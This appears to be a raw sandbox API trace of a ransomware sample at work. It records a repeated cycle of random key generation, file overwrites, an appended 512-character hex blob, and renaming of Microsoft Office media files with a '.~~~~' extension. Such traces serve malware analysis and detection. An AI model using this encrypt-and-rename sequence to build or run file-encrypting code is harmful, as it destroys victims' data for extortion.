	[0125.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821358
	[0125.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821358 | out: hHeap=0x300000) returned 1
	[0125.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbab0
	[0125.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0125.845] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.845] GetLastError () returned 0x0
	[0125.845] GetLastError () returned 0x0
	[0125.845] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.846] GetLastError () returned 0x0
	[0125.846] GetLastError () returned 0x0
	[0125.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff362, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.964] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc9e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xc9e, lpOverlapped=0x0) returned 1
	[0125.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.966] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.966] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.966] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.966] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.966] CloseHandle (hObject=0x130) returned 1
	[0125.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb4c8
	[0125.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf.~~~~")) returned 1
	[0125.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb4c8 | out: hHeap=0x300000) returned 1
	[0125.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.968] GetLastError () returned 0x0
	[0126.052] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.064] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.064] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.064] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24605402892) returned 1
	[0126.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb499ea90, dwHighDateTime=0x1d60e1e)) 
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28216d8
	[0126.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28216d8 | out: hHeap=0x300000) returned 1
	[0126.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb2d0
	[0126.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb2d0 | out: hHeap=0x300000) returned 1
	[0126.065] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.065] GetLastError () returned 0x0
	[0126.065] GetLastError () returned 0x0
	[0126.065] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.066] GetLastError () returned 0x0
	[0126.066] GetLastError () returned 0x0
	[0126.070] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff914, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.070] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x6ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x6ec, lpOverlapped=0x0) returned 1
	[0126.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.073] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.073] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.073] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.073] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.073] CloseHandle (hObject=0x128) returned 1
	[0126.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb2d0
	[0126.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf.~~~~")) returned 1
	[0126.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb2d0 | out: hHeap=0x300000) returned 1
	[0126.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.075] GetLastError () returned 0x0
	[0126.076] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.078] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.078] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.078] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24606821572) returned 1
	[0126.078] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb49c4bf0, dwHighDateTime=0x1d60e1e)) 
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821710
	[0126.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821710 | out: hHeap=0x300000) returned 1
	[0126.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb768
	[0126.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb768 | out: hHeap=0x300000) returned 1
	[0126.079] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.079] GetLastError () returned 0x0
	[0126.079] GetLastError () returned 0x0
	[0126.079] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.079] GetLastError () returned 0x0
	[0126.080] GetLastError () returned 0x0
	[0126.082] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff392, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.082] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc6e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xc6e, lpOverlapped=0x0) returned 1
	[0126.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.084] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.084] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.084] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.084] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.084] CloseHandle (hObject=0x128) returned 1
	[0126.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb768
	[0126.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf.~~~~")) returned 1
	[0126.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb768 | out: hHeap=0x300000) returned 1
	[0126.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.088] GetLastError () returned 0x0
	[0126.088] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.090] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.090] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.090] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24608038825) returned 1
	[0126.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb49ead50, dwHighDateTime=0x1d60e1e)) 
	[0126.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821748
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821748 | out: hHeap=0x300000) returned 1
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3afe30
	[0126.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba850
	[0126.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3afe30 | out: hHeap=0x300000) returned 1
	[0126.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba850 | out: hHeap=0x300000) returned 1
	[0126.091] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.092] GetLastError () returned 0x0
	[0126.092] GetLastError () returned 0x0
	[0126.092] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.092] GetLastError () returned 0x0
	[0126.092] GetLastError () returned 0x0
	[0126.168] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff3b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.168] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc4c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xc4c, lpOverlapped=0x0) returned 1
	[0126.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.169] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.169] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.169] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.169] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.169] CloseHandle (hObject=0x128) returned 1
	[0126.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbf48
	[0126.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf.~~~~")) returned 1
	[0126.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbf48 | out: hHeap=0x300000) returned 1
	[0126.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.212] GetLastError () returned 0x0
	[0126.324] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.325] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.325] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24631508516) returned 1
	[0126.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4c00090, dwHighDateTime=0x1d60e1e)) 
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b938
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b938 | out: hHeap=0x300000) returned 1
	[0126.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abb58
	[0126.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0126.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.326] GetLastError () returned 0x0
	[0126.326] GetLastError () returned 0x0
	[0126.326] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.326] GetLastError () returned 0x0
	[0126.326] GetLastError () returned 0x0
	[0126.329] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff8d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.329] WriteFile (in: hFile=0xc4, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x72c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x72c, lpOverlapped=0x0) returned 1
	[0126.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0126.331] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.331] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.332] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.332] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.332] CloseHandle (hObject=0xc4) returned 1
	[0126.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0126.332] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf.~~~~")) returned 1
	[0126.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0126.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.333] GetLastError () returned 0x0
	[0126.334] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.335] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.335] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
